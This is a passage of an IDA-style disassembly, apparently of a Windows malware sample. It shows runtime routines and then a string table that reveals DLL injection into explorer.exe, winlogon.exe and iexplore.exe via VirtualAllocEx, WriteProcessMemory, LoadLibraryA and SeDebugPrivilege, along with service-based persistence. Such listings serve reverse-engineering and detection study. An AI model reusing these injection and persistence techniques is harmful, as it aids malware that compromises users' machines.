loc_40CAF8 cmp [ebp+var_4], 0 jnz short loc_40CB09 loc_40CAF8: ; CODE XREF: sub_40C890+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CB09: ; CODE XREF: sub_40C890+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_40CB61 cmp [ebp+var_11], 0Ah jnz short loc_40CB38 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CB9C ; --------------------------------------------------------------------------- loc_40CB38: ; CODE XREF: sub_40C890+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_40CB9C ; --------------------------------------------------------------------------- loc_40CB61: ; CODE XREF: sub_40C890+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_40CB7D cmp [ebp+var_11], 0Ah jnz short loc_40CB7D mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CB9C ; --------------------------------------------------------------------------- loc_40CB7D: ; CODE XREF: sub_40C890+2D7j ; sub_40C890+2DDj push 1 push 0FFFFFFFFh push ebx call sub_40BDF0 add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_40CB9C mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_40CB9C: ; CODE XREF: sub_40C890+180j ; sub_40C890+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_40CA15 loc_40CBA9: ; CODE XREF: sub_40C890+1A3j ; sub_40C890+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_40CBB3: ; CODE XREF: sub_40C890+12Cj mov eax, edi loc_40CBB5: ; CODE XREF: sub_40C890+37j ; sub_40C890+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40C890 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_40CBEB mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40CBFB loc_40CBEB: ; CODE XREF: DMN0:0040CBCEj call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40CC1E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: DMN0:0040CBE9j push ebx call sub_40AC80 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40C890 add esp, 0Ch mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_40CC1E: ; CODE XREF: DMN0:0040CBF9j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_40CDA0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC50 proc near ; CODE XREF: sub_40B8E0+35Fp ; sub_40CDA0+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_407730 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_40BDF0 add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_40CC94 push 2 push 0 push ebx call sub_40BDF0 add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_40CC9C loc_40CC94: ; CODE XREF: sub_40CC50+2Dj or eax, 0FFFFFFFFh jmp loc_40CD90 ; --------------------------------------------------------------------------- loc_40CC9C: ; CODE XREF: sub_40CC50+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_40CD41 lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_40D1E0 add esp, 8 mov [ebp+var_10], eax loc_40CCD2: ; CODE XREF: sub_40CC50+E0j cmp esi, 1000h jb short loc_40CCE6 mov [ebp+var_1014], 1000h jmp short loc_40CCEE ; --------------------------------------------------------------------------- loc_40CCE6: ; CODE XREF: sub_40CC50+88j mov eax, esi mov [ebp+var_1014], eax loc_40CCEE: ; CODE XREF: sub_40CC50+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_40A670 add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40CD28 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_40CD22 call sub_4083A0 mov dword ptr [eax], 0Dh loc_40CD22: ; CODE XREF: sub_40CC50+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_40CD32 ; --------------------------------------------------------------------------- loc_40CD28: ; CODE XREF: sub_40CC50+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_40CCD2 loc_40CD32: ; CODE XREF: sub_40CC50+D6j mov eax, [ebp+var_10] push eax push ebx call sub_40D1E0 add esp, 8 jmp short loc_40CD7E ; --------------------------------------------------------------------------- loc_40CD41: ; CODE XREF: sub_40CC50+56j test esi, esi jge short loc_40CD7E push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_40BDF0 add esp, 0Ch push ebx call sub_40AB60 pop ecx push eax call dword_411E1C ; SetEndOfFile test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_40CD7E call sub_4083A0 mov dword ptr [eax], 0Dh loc_40CD7E: ; CODE XREF: sub_40CC50+EFj ; sub_40CC50+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_40BDF0 add esp, 0Ch mov eax, [ebp+var_4] loc_40CD90: ; CODE XREF: sub_40CC50+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CC50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CDA0 proc near ; CODE XREF: DMN0:0040CC3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_40CDC9 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40CDD9 loc_40CDC9: ; CODE XREF: sub_40CDA0+Cj call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40CDF9 ; --------------------------------------------------------------------------- loc_40CDD9: ; CODE XREF: sub_40CDA0+27j push ebx call sub_40AC80 pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_40CC50 add esp, 8 mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_40CDF9: ; CODE XREF: sub_40CDA0+37j pop esi pop ebx retn sub_40CDA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE00 proc near ; CODE XREF: sub_40BCC0+EFp ; sub_40BCC0+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_40CEBD ; --------------------------------------------------------------------------- loc_40CE14: ; CODE XREF: sub_40CE00+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_40CE2F push esi call sub_408EA0 pop ecx test eax, eax jge short loc_40CE2F or eax, 0FFFFFFFFh jmp loc_40CEDF ; --------------------------------------------------------------------------- loc_40CE2F: ; CODE XREF: sub_40CE00+1Aj ; sub_40CE00+25j test word ptr [esi], 400h jz short loc_40CE46 push 0Ah push ebx call sub_40D2F0 add esp, 8 mov [ebp+var_C], eax jmp short loc_40CE4D ; --------------------------------------------------------------------------- loc_40CE46: ; CODE XREF: sub_40CE00+34j mov [ebp+var_C], 0 loc_40CE4D: ; CODE XREF: sub_40CE00+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_40CE62 mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_40CE71 ; --------------------------------------------------------------------------- loc_40CE62: ; CODE XREF: sub_40CE00+55j mov edx, ebx or eax, 0FFFFFFFFh loc_40CE67: ; CODE XREF: sub_40CE00+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40CE67 mov [ebp+var_10], eax loc_40CE71: ; CODE XREF: sub_40CE00+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_40CE8E mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_40CE8E: ; CODE XREF: sub_40CE00+82j push edi push ebx mov eax, [esi+10h] push eax call sub_407630 add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_40CEBD push esi call sub_408CA0 pop ecx test eax, eax jz short loc_40CEBD or eax, 0FFFFFFFFh jmp short loc_40CEDF ; --------------------------------------------------------------------------- loc_40CEBD: ; CODE XREF: sub_40CE00+Fj ; sub_40CE00+ABj ... cmp byte ptr [ebx], 0 jnz loc_40CE14 test word ptr [esi], 800h jz short loc_40CEDD push esi call sub_408CA0 pop ecx test eax, eax jz short loc_40CEDD or eax, 0FFFFFFFFh jmp short loc_40CEDF ; --------------------------------------------------------------------------- loc_40CEDD: ; CODE XREF: sub_40CE00+CBj ; sub_40CE00+D6j xor eax, eax loc_40CEDF: ; CODE XREF: sub_40CE00+2Aj ; sub_40CE00+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CE00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CEF0 proc near ; CODE XREF: sub_40C310+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40CF46 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_40CF32 cmp word ptr [ebx+4], 0 jnz short loc_40CF32 cmp word ptr [ebx+2], 0 jnz short loc_40CF32 cmp word ptr [ebx], 0 jz short loc_40CF39 loc_40CF32: ; CODE XREF: sub_40CEF0+2Cj ; sub_40CEF0+33j ... mov edi, 2 jmp short loc_40CF3E ; --------------------------------------------------------------------------- loc_40CF39: ; CODE XREF: sub_40CEF0+40j mov edi, 1 loc_40CF3E: ; CODE XREF: sub_40CEF0+47j mov ax, di movsx eax, ax jmp short loc_40CF8A ; --------------------------------------------------------------------------- loc_40CF46: ; CODE XREF: sub_40CEF0+1Bj test si, si jg short loc_40CF5A push ebx call sub_40D310 pop ecx mov si, ax test ax, ax jg short loc_40CF7F loc_40CF5A: ; CODE XREF: sub_40CEF0+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_40CF8A ; --------------------------------------------------------------------------- loc_40CF7F: ; CODE XREF: sub_40CEF0+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_40CF8A: ; CODE XREF: sub_40CEF0+54j ; sub_40CEF0+8Dj pop edi pop esi pop ebx retn sub_40CEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF90 proc near ; CODE XREF: sub_40C330+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40CFE5 test word ptr [ebx+6], 0Fh jnz short loc_40CFCE cmp word ptr [ebx+4], 0 jnz short loc_40CFCE cmp word ptr [ebx+2], 0 jnz short loc_40CFCE cmp word ptr [ebx], 0 jz short loc_40CFD5 loc_40CFCE: ; CODE XREF: sub_40CF90+28j ; sub_40CF90+2Fj ... mov edi, 2 jmp short loc_40CFDA ; --------------------------------------------------------------------------- loc_40CFD5: ; CODE XREF: sub_40CF90+3Cj mov edi, 1 loc_40CFDA: ; CODE XREF: sub_40CF90+43j mov ax, di movsx eax, ax jmp loc_40D19A ; --------------------------------------------------------------------------- loc_40CFE5: ; CODE XREF: sub_40CF90+20j test si, si jnz short loc_40D000 push ebx call sub_40D310 pop ecx mov si, ax test ax, ax jle short loc_40D000 xor eax, eax jmp loc_40D19A ; --------------------------------------------------------------------------- loc_40D000: ; CODE XREF: sub_40CF90+58j ; sub_40CF90+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_40D042 test word ptr [ebx+6], 8000h jz short loc_40D027 fld dbl_4119DC fchs fstp [ebp+var_8] jmp short loc_40D030 ; --------------------------------------------------------------------------- loc_40D027: ; CODE XREF: sub_40CF90+88j fld dbl_4119DC fstp [ebp+var_8] loc_40D030: ; CODE XREF: sub_40CF90+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_40D19A ; --------------------------------------------------------------------------- loc_40D042: ; CODE XREF: sub_40CF90+80j cmp [ebp+arg_4], 0 jle short loc_40D068 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_40D19A ; --------------------------------------------------------------------------- loc_40D068: ; CODE XREF: sub_40CF90+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_40D0AE mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_40D19A ; --------------------------------------------------------------------------- loc_40D0AE: ; CODE XREF: sub_40CF90+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_40D0D9 ; --------------------------------------------------------------------------- loc_40D0B7: ; CODE XREF: sub_40CF90+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_40D0D9: ; CODE XREF: sub_40CF90+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_40D0B7 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_40D18F movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_40D18F: ; CODE XREF: sub_40CF90+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_40D19A: ; CODE XREF: sub_40CF90+50j ; sub_40CF90+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CF90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1B0 proc near ; CODE XREF: sub_40C3B0+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40D1B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D1E0 proc near ; CODE XREF: sub_40CC50+77p ; sub_40CC50+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_40D236 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_40D26D ; --------------------------------------------------------------------------- loc_40D236: ; CODE XREF: sub_40D1E0+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_40D25D mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_40D26D ; --------------------------------------------------------------------------- loc_40D25D: ; CODE XREF: sub_40D1E0+5Ej call sub_4083A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_40D280 ; --------------------------------------------------------------------------- loc_40D26D: ; CODE XREF: sub_40D1E0+54j ; sub_40D1E0+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_40D280: ; CODE XREF: sub_40D1E0+8Bj pop esi pop ebx retn sub_40D1E0 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A88 jnb short loc_40D2B9 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40D2C9 loc_40D2B9: ; CODE XREF: DMN0:0040D29Cj call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40D2E9 ; --------------------------------------------------------------------------- loc_40D2C9: ; CODE XREF: DMN0:0040D2B7j push ebx call sub_40AC80 pop ecx mov eax, [esp+10h] push eax push ebx call sub_40D1E0 add esp, 8 mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_40D2E9: ; CODE XREF: DMN0:0040D2C7j pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D2F0 proc near ; CODE XREF: sub_40CE00+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_40D2FD: ; CODE XREF: sub_40D2F0+19j cmp [ecx], bl jnz short loc_40D303 mov edx, ecx loc_40D303: ; CODE XREF: sub_40D2F0+Fj cmp byte ptr [ecx], 0 jz short loc_40D30B inc ecx jmp short loc_40D2FD ; --------------------------------------------------------------------------- loc_40D30B: ; CODE XREF: sub_40D2F0+16j mov eax, edx pop ebx retn sub_40D2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D310 proc near ; CODE XREF: sub_40CEF0+5Cp ; sub_40CF90+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_40D34F cmp word ptr [ecx+4], 0 jnz short loc_40D34F cmp word ptr [ecx+2], 0 jnz short loc_40D34F cmp word ptr [ecx], 0 jz loc_40D409 loc_40D34F: ; CODE XREF: sub_40D310+25j ; sub_40D310+2Cj ... jmp short loc_40D371 ; --------------------------------------------------------------------------- loc_40D351: ; CODE XREF: sub_40D310+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_40D371: ; CODE XREF: sub_40D310:loc_40D34Fj cmp word ptr [ecx+6], 0 jz short loc_40D351 jmp short loc_40D3B7 ; --------------------------------------------------------------------------- loc_40D37A: ; CODE XREF: sub_40D310+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx loc_40D3B7: ; CODE XREF: sub_40D310+68j cmp word ptr [ecx+6], 10h jb short loc_40D37A jmp short loc_40D3FD ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: sub_40D310+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_40D3FD: ; CODE XREF: sub_40D310+AEj cmp word ptr [ecx+6], 20h jnb short loc_40D3C0 and word ptr [ecx+6], 0Fh loc_40D409: ; CODE XREF: sub_40D310+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_40D310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D420 proc near ; CODE XREF: sub_408490+13p jmp dword_411DAC sub_40D420 endp ; --------------------------------------------------------------------------- align 4 dd 2F6h dup(0) dword_40E000 dd 656E6F64h ; DATA XREF: sub_4066F1+584o ; sub_447672+584o db 2Eh, 0Ah, 0 aNotDaemonized_ db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406C33o ; sub_447672:loc_447BB4o aInitializingSe db 'initializing service startup sequence...',0Ah,0 ; DATA XREF: sub_4066F1+527o ; sub_447672+527o aServiceInstall db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4066F1+476o ; sub_447672+476o aInstallingSe_0 db 'installing service...',0Ah,0 ; DATA XREF: sub_4066F1+462o ; sub_447672+462o aRegisteredSe_1 db 'registered service is not running, unrest.',0Ah,0 ; DATA XREF: sub_4066F1:loc_406B29o ; sub_447672:loc_447AAAo aStartingServic db 'starting service...',0Ah,0 ; DATA XREF: sub_4066F1+41Do ; sub_4066F1:loc_406BACo ... aI db '%i',0Ah,0 ; DATA XREF: sub_4066F1+3FEo ; sub_447672+3FEo aInstallingServ db 'installing service, res=',0 ; DATA XREF: sub_4066F1+3E8o ; sub_447672+3E8o aRegisteredSe_0 db 'registered service is not running.',0Ah,0 ; DATA XREF: sub_4066F1:loc_406AC5o ; sub_447672:loc_447A46o aRegisteredServ db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406AAAo ; sub_447672:loc_447A2Bo aDonTRegisterIt db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A93o ; sub_447672:loc_447A14o aRegisterItAndR db 'register it and restart',0Ah,0 ; DATA XREF: sub_4066F1+392o ; sub_447672+392o aNoRegisteredSe db 'no registered service, ',0 ; DATA XREF: sub_4066F1+36Bo ; sub_447672+36Bo aWaitingComplet db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A46o ; sub_447672:loc_4479C7o aWaiting___ db '*** waiting...',0Ah,0 ; DATA XREF: sub_4066F1+32Co ; sub_447672+32Co aRemovingS db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+2A0o ; sub_447672+2A0o aInitializingWi db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4066F1+24Bo ; sub_447672+24Bo aCopyingFailed db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_406914o ; sub_447672:loc_447895o aCreateprocessF db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_4068F9o ; sub_447672:loc_44787Ao aCmdlineS db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+1DFo ; sub_447672+1DFo aCopying___ db 'copying...',0Ah,0 ; DATA XREF: sub_4066F1+167o ; sub_447672+167o aNewSOldSSelfS db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+E0o ; sub_447672+E0o aWaiting10SecsS db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+9Ao ; sub_447672+9Ao aShutdownmutexc db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+8Do ; sub_447672+8Do aUpdate_0 db '*update',0 ; DATA XREF: sub_4066F1+5Eo ; sub_447672+5Eo aInjectionthrea db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406485:loc_406645o ; DMN1:loc_4475C6o aDllStopped___ db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406485:loc_40660Do ; DMN1:loc_44758Eo aDying db 'dying',0Ah,0 ; DATA XREF: sub_406485+173o ; DMN1:00447579o aWaitingForDllD db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406485+129o ; DMN1:0044752Fo aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406485:loc_406544o ; DMN1:loc_4474C5o aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_406485:loc_40653Bo ; DMN1:loc_4474BCo aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_406485:loc_406532o ; DMN1:loc_4474B3o aOldDllFoundWai db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406485+59o ; DMN1:0044745Fo aTryingSWithSFa db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_4062AE+A1o ; sub_44722F+A1o aTryingSWithS db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_4062AE+5Bo ; sub_44722F+5Bo aDllInjected db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4061E6+8Co ; sub_447167+8Co aThreadComplete db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4061E6+65o ; sub_447167+65o aThreadInjected db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4061E6+42o ; sub_447167+42o aProcessOpened_ db 'process opened.',0Ah,0 ; DATA XREF: sub_4061E6+1Do ; sub_447167+1Do aS db '<%s>',0Ah,0 ; DATA XREF: sub_4060BC+FEo ; sub_4062AE+81o ... aWriteprocessme db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_4060BC+F0o ; sub_44703D+F0o aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_4060BC+ADo ; sub_44703D+ADo aExitthread db 'ExitThread',0 ; DATA XREF: sub_4060BC+9Co ; sub_44703D+9Co aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_4060BC+8Bo ; sub_44703D+8Bo aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4060BC+75o ; sub_44703D+75o aVirtualallocex db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_4060BC+31o ; sub_44703D+31o aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_406042+Ao ; 